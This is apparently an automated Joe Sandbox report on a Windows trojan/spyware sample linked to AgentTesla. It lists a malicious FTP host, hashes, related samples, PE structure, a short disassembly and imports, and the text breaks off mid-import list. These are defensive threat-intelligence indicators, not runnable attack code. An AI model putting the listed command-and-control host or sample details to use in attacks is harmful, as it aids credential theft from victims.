J8V6dFanEo.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://ftp.jeepcommerce.rs	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ftp.jeepcommerce.rs	195.252.110.253	true	false		high
ip-api.com	208.95.112.1	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://ip-api.com/line/?fields=hosting	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://ftp.jeepcommerce.rs	RegSvcs.exe, 00000002.00000002.3895417120.000000000249E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://account.dyn.com/	J8V6dFanEo.exe, 00000000.00000002.1464611684.0000000000DB0000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3894308311.0000000000152000.00000040.80000000.00040000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	RegSvcs.exe, 00000002.00000002.3895417120.0000000002441000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ip-api.com	RegSvcs.exe, 00000002.00000002.3895417120.0000000002441000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States		53334	TUT-ASUS	false
195.252.110.253	ftp.jeepcommerce.rs	Serbia		6700	BEOTEL-AShttpwwwbeotelnetRS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588617
Start date and time:	2025-01-11 03:13:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	J8V6dFanEo.exe renamed because original name is a hash value
Original Sample Name:	809767aab51beef5e228607daf87e53a03d96b5ca11d31d1ea21f78fbe07b8df.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/2@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 52 Number of non-executed functions: 275
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 52.149.20.212
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
21:14:11	API Interceptor	10516771x Sleep call for process: RegSvcs.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	ewYjhndHg2.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	uEuTtkxAqq.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	0I9GLRSiy0.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	NUGMrDcg4v.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	LMxd0gpIxe.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	rComprobante_swift_8676534657698632.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	28uMwHvbTD.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	e4Iw3lwFJ5.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	uOCavrYu1y.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	XoRPyi5s1i.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
195.252.110.253	doc00290320092.jse	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	factura 000601.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	R55-RFQ.exe	Get hash	malicious	AgentTesla	Browse
	2zaGROpmo0.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	Eemw0Iqp2J.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	b83NG35487.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	[Purchase Order] PO2411024.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	INV & BANK DETAILS.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	PO#150003191.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	dg4Bwri6Cy.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ip-api.com	ewYjhndHg2.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	uEuTtkxAqq.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	0I9GLRSiy0.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	NUGMrDcg4v.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	LMxd0gpIxe.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	rComprobante_swift_8676534657698632.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	28uMwHvbTD.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	e4Iw3lwFJ5.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	uOCavrYu1y.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	XoRPyi5s1i.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
ftp.jeepcommerce.rs	doc00290320092.jse	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	195.252.110.253
	factura 000601.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	195.252.110.253
	R55-RFQ.exe	Get hash	malicious	AgentTesla	Browse	195.252.110.253
	2zaGROpmo0.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	195.252.110.253
	Eemw0Iqp2J.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	195.252.110.253
	b83NG35487.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	195.252.110.253
	[Purchase Order] PO2411024.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	195.252.110.253
	INV & BANK DETAILS.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	195.252.110.253
	PO#150003191.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	195.252.110.253
	dg4Bwri6Cy.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	195.252.110.253

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TUT-ASUS	ewYjhndHg2.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	uEuTtkxAqq.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	0I9GLRSiy0.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	NUGMrDcg4v.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	LMxd0gpIxe.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	rComprobante_swift_8676534657698632.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	28uMwHvbTD.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	e4Iw3lwFJ5.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	uOCavrYu1y.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	XoRPyi5s1i.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
BEOTEL-AShttpwwwbeotelnetRS	armv6l.elf	Get hash	malicious	Unknown	Browse	194.106.175.134
	DEMONS.arm.elf	Get hash	malicious	Unknown	Browse	62.108.98.189
	doc00290320092.jse	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	195.252.110.253
	factura 000601.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	195.252.110.253
	bot.x86.elf	Get hash	malicious	Mirai	Browse	62.108.98.135
	bot.mips.elf	Get hash	malicious	Mirai	Browse	62.108.98.187
	jade.arm.elf	Get hash	malicious	Mirai	Browse	62.108.98.145
	R55-RFQ.exe	Get hash	malicious	AgentTesla	Browse	195.252.110.253
	2zaGROpmo0.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	195.252.110.253
	Eemw0Iqp2J.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	195.252.110.253

Process:	C:\Users\user\Desktop\J8V6dFanEo.exe
File Type:	data
Category:	dropped
Size (bytes):	147378
Entropy (8bit):	7.927878366669715
Encrypted:	false
SSDEEP:	3072:sIkoK05DigybojNHkPdQGz1cj+k9zM9PByQiJZ4vSoFbmLYzKYZ:s7N0MXoJHkPd7cjt9zUyQE8SObmEzKYZ
MD5:	DBBAE07D5FE5E3774859028DFFCB2432
SHA1:	1C0C5BBEB9C16148C273D7FD004B4E9B5F4ACA0C
SHA-256:	A565AC26593BFBE1B81278995DF99FE1C6423BC39A11E4F48C50BEB921BBD9A0
SHA-512:	821DB6E2E38906ACD8EFB39A612D5ACA11948E0BF0E44D4BE26B33A373690934CB4AF33C50AEA13DFF1649BAD0FB3BBB54276FF9571B8B065A68ED363314039D
Malicious:	false
Reputation:	low
Preview:	EA06.....Bx.Z...V..'4....3..........zT....@.....+.OUb...a..].=v..dR;..uV....x..m[..$.i.38.NmU......\'sier.@.P"..y..g4..Z.3....@..m.S..riZ..<U.D......P.^@..mP.<..j6...9.R@%.O...oS...)q;.CzT....5........[....qxi.F0...i4.<....+@..H.............X..oo.:..~.._1t..@......@....Y.Vl..$...E.....uJ..@.........!w.$.IV..j.`..V....P.[....W..O.....k4...yH....m&..Rg ..eS...<?........g...^......o...N..Y.x....#C.L.mDr.>.vyx}e.G_..)Y...'..O:....Y....mF.....eu.=^Aj....-;....m.yl"....\|4.ws9/.....g....}"..WoA......ns...'....w .O,.\.m8.z.....+...s./..>..7.Z...M`>...5......N..4....d.....i..."x..I@.....).." .$@....x.......\.?...a..N.....U....Vm.......].6.....,.o\.!2.c6~)w.9......=!.A/.=%g..F..h..z.Xi..:mQ.LjT{mb%..g..Zt.U.Ui..]^....n..K'...8R...........<..S......]C.Y.n@!.W2...}..f.l.K&.j..GZ..f.Y.../....x..#.J.p.V.L...d...N.U.sy.....KO]...Y...W...%.qJ..&.@....J&....a5.L..X...P.V.\ze.J..#.Z.6[7..'...VcD.-m5..~.b_`...^k[..+..5sgV.sjW...wP.T..y.VK..H....r.8..

C:\Users\user\AppData\Local\Temp\unrosined

Download File

Process:	C:\Users\user\Desktop\J8V6dFanEo.exe
File Type:	data
Category:	dropped
Size (bytes):	245248
Entropy (8bit):	6.589889877628835
Encrypted:	false
SSDEEP:	6144:9Gd8MA8EjhU9/iAwzs0lvsfk/FNs4CFDAv1d0abHWDVkI:ILaA0lvsfsCXd
MD5:	635B22528572159DAFD875868D6A9918
SHA1:	939DA793F2B540FC2507567ED9C1BF2081417378
SHA-256:	5FBF4E73B61D40114A7AA36899DC65A7A765F137A71FEE4356D743030406286A
SHA-512:	A62D60E7A1B9D57DC79123E7F2992C7FF3C2DCCDD378BA0D616CF67858C5B7CDAB883D2E9D901AFA52DCB3D3FF6CA066C838AB1D16B475EBEF8D80A908D3EE24
Malicious:	false
Reputation:	low
Preview:	~..5RKPV]H9J..J3.W5QKPVY.9JMWJ3SW5QKPVYH9JMWJ3SW5QKPVYH9JMWJ.SW5_T.XY.0.l.K..va9"#v):V-?6'.06[?$$v;-.889jZ=wq..p;6,\d@Z@.SW5QKPV..9J.VI3...4KPVYH9JM.J1R\4ZKP.ZH9BMWJ3SW..HPVyH9J.TJ3S.5QkPVYJ9JIWJ3SW5QOPVYH9JMWj7SW7QKPVYH;J..J3CW5AKPVYX9J]WJ3SW5AKPVYH9JMWJ3..6Q.PVYH.IM.O3SW5QKPVYH9JMWJ3SW5QOPZYH9JMWJ3SW5QKPVYH9JMWJ3SW5QKPVYH9JMWJ3SW5QKPVYH9JMWJ.SW=QKPVYH9JMWJ;sW5.KPVYH9JMWJ3}#P)?PVY\|.IMWj3SW.RKPTYH9JMWJ3SW5QKPvYHYd?$8PSW5.NPVY.:JMQJ3S.6QKPVYH9JMWJ3S.5Q.~$<$V)MWF3SW5QOPV[H9J.TJ3SW5QKPVYH9J.WJqSW5QKPVYH9JMWJ3SG.RKPVYHqJMWH3VWy.IP.lI9IMWJ2SW3QKPVYH9JMWJ3SW5QKPVYH9JMWJ3SW5QKPVYH9JMWJ3SW5QKPK......t{.i?3L.p./.I..Y.....D.C.3-...>....w#_.pJ.Xz..<...,.1O4V.....i+['W j=bX+.N...mw-.r.K9.I../y.8_l.c....p..._"....9..P<:.0; :<fj++68Z.U.PKPVY.......>M..}UVV.X5....C3....4MWJWSW5#KPV8H9J.WJ3<W5Q%PVY69JM)J3S.5QK.VYH.JMWo3SWXQKPrYH94MWJ..X:...?*..JMWJ3f..a.=...f.z..e&./.2n.......iV..^#.!..~..Y..8..F.;Pz.aMLQN6QP1RGmX....lUN7VU2UH\kW...v......'....7.63SW5QK.VY.9JM..3.W5Q.P.Y.JMW..S.5.K...H

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.040757039735037
TrID:	Win32 Executable (generic) a (10002005/4) 99.55% Win32 EXE PECompact compressed (generic) (41571/9) 0.41% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	J8V6dFanEo.exe
File size:	1'084'416 bytes
MD5:	11859bcb5a4f2da18932f19a39f71b88
SHA1:	e141ec8206896ff4f945438052cc1ad0dc828b4d
SHA256:	809767aab51beef5e228607daf87e53a03d96b5ca11d31d1ea21f78fbe07b8df
SHA512:	b00e92436742ae2c8008763aff1ff3b0f1ff0a7f9fb2e573141908281f864f33348b14c1206f9743a66e62d5efea006b23656e0893eae18cedc286b4178176b9
SSDEEP:	24576:uu6J33O0c+JY5UZ+XC0kGso6FaYUbrRHSE2B1eNMWY:gu0c++OCvkGs9FaYA9g6Y
TLSH:	1335BE2273DDC360CB669173BF69B7016EBF3C614630B95B2F880D7DA950162262D7A3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6...r}..r}..r}..4,".p}......s}.../..A}.../#..}.../".G}..{.@.{}..{.P.W}..r}..R.....)."}......s}.../..s}..r}T.s}......s}..Richr}.

File Icon


Icon Hash:	aaf3e3e3938382a0

Static PE Info

General

Entrypoint:	0x427dcd
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67503D57 [Wed Dec 4 11:30:31 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	afcdf79be1557326c854b6e20cb900a7

Entrypoint Preview

Instruction
call 00007F17946B5D5Ah
jmp 00007F17946A8B24h
int3
int3
int3
int3
int3
int3
int3
int3
int3
push edi
push esi
mov esi, dword ptr [esp+10h]
mov ecx, dword ptr [esp+14h]
mov edi, dword ptr [esp+0Ch]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007F17946A8CAAh
cmp edi, eax
jc 00007F17946A900Eh
bt dword ptr [004C31FCh], 01h
jnc 00007F17946A8CA9h
rep movsb
jmp 00007F17946A8FBCh
cmp ecx, 00000080h
jc 00007F17946A8E74h
mov eax, edi
xor eax, esi
test eax, 0000000Fh
jne 00007F17946A8CB0h
bt dword ptr [004BE324h], 01h
jc 00007F17946A9180h
bt dword ptr [004C31FCh], 00000000h
jnc 00007F17946A8E4Dh
test edi, 00000003h
jne 00007F17946A8E5Eh
test esi, 00000003h
jne 00007F17946A8E3Dh
bt edi, 02h
jnc 00007F17946A8CAFh
mov eax, dword ptr [esi]
sub ecx, 04h
lea esi, dword ptr [esi+04h]
mov dword ptr [edi], eax
lea edi, dword ptr [edi+04h]
bt edi, 03h
jnc 00007F17946A8CB3h
movq xmm1, qword ptr [esi]
sub ecx, 08h
lea esi, dword ptr [esi+08h]
movq qword ptr [edi], xmm1
lea edi, dword ptr [edi+08h]
test esi, 00000007h
je 00007F17946A8D05h
bt esi, 03h
jnc 00007F17946A8D58h

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2013 UPD4 build 31101
[RES] VS2013 build 21005
[LNK] VS2013 UPD4 build 31101

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xba44c	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc7000	0x403d8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x108000	0x711c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x92bc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xa4870	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8f000	0x884	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8dcc4	0x8de00	d28a820a1d9ff26cda02d12b888ba4b4	False	0.5728679102422908	data	6.676118058520316	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8f000	0x2e10e	0x2e200	79b14b254506b0dbc8cd0ad67fb70ad9	False	0.33535526761517614	OpenPGP Public Key	5.76010872795207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xbe000	0x8f74	0x5200	9f9d6f746f1a415a63de45f8b7983d33	False	0.1017530487804878	data	1.198745897703538	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xc7000	0x403d8	0x40400	f29db2f7e2769ad84aba63eb4de2e0e7	False	0.8982855058365758	data	7.822190775865801	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x108000	0x711c	0x7200	6fcae3cbbf6bfbabf5ec5bbe7cf612c3	False	0.7650767543859649	data	6.779031650454199	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc75a8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xc76d0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xc77f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xc7920	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	Great Britain	0.3333333333333333
RT_ICON	0xc7c08	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	Great Britain	0.5
RT_ICON	0xc7d30	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	Great Britain	0.2835820895522388
RT_ICON	0xc8bd8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	Great Britain	0.37906137184115524
RT_ICON	0xc9480	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	Great Britain	0.23699421965317918
RT_ICON	0xc99e8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	Great Britain	0.13858921161825727
RT_ICON	0xcbf90	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	Great Britain	0.25070356472795496
RT_ICON	0xcd038	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	Great Britain	0.3173758865248227
RT_MENU	0xcd4a0	0x50	data	English	Great Britain	0.9
RT_STRING	0xcd4f0	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xcda84	0x68a	data	English	Great Britain	0.2747909199522103
RT_STRING	0xce110	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xce5a0	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xceb9c	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xcf1f8	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xcf660	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xcf7b8	0x3769d	data			1.0003348415890876
RT_GROUP_ICON	0x106e58	0x76	data	English	Great Britain	0.6610169491525424
RT_GROUP_ICON	0x106ed0	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0x106ee4	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0x106ef8	0x14	data	English	Great Britain	1.25
RT_VERSION	0x106f0c	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0x106fe8	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	WSACleanup, socket, inet_ntoa, setsockopt, ntohs, recvfrom, ioctlsocket, htons, WSAStartup, __WSAFDIsSet, select, accept, listen, bind, closesocket, WSAGetLastError, recv, sendto, send, inet_addr, gethostbyname, gethostname, connect
VERSION.dll	GetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
WININET.dll	InternetQueryDataAvailable, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetConnectW
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
USERENV.dll	DestroyEnvironmentBlock, UnloadUserProfile, CreateEnvironmentBlock, LoadUserProfileW
UxTheme.dll	IsThemeActive
KERNEL32.dll	DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, SetCurrentDirectoryW, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, GetCurrentProcess, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, LoadLibraryW, VirtualAlloc, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, GetCurrentThread, CloseHandle, GetFullPathNameW, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, WriteConsoleW, FindClose, SetEnvironmentVariableA
USER32.dll	AdjustWindowRectEx, CopyImage, SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, SetRect, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, MonitorFromRect, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, 